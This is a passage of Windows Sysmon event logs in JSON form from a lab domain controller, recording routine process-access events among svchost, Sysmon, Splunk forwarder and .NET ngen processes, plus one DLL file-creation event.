12:02:40.525","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7614,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:40.525\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:40.525","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7615,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:40.525\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:40.525","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7616,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:40.525\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:40.525","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7617,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:40.525\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:40.525","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7618,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:40.525\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:40.525","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7619,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:40.872\r\nSourceProcessGUID: {90617006-42E0-5F2D-0000-0010581C0E00}\r\nSourceProcessId: 3964\r\nSourceThreadId: 4412\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+5691a5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+568cd6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56657|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56ca7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+8f3800|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:40.872","SourceProcessGUID":"{90617006-42E0-5F2D-0000-0010581C0E00}","SourceProcessId":"3964","SourceThreadId":"4412","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+5691a5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+568cd6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56657|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56ca7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+8f3800|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7620,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:02:41.416\r\nProcessGuid: {90617006-42DF-5F2D-0000-0010AB140E00}\r\nProcessId: 812\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\32c-0\\System.Data.Services.dll\r\nCreationUtcTime: 2020-08-07 12:02:41.416","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:02:41.416","ProcessGuid":"{90617006-42DF-5F2D-0000-0010AB140E00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\32c-0\\System.Data.Services.dll","CreationUtcTime":"2020-08-07 12:02:41.416","EventReceivedTime":"2020-08-07 12:02:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7621,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:41.510\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B5-5F2D-0000-0010FB780C00}\r\nTargetProcessId: 4404\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:41.510","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B5-5F2D-0000-0010FB780C00}","TargetProcessId":"4404","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\F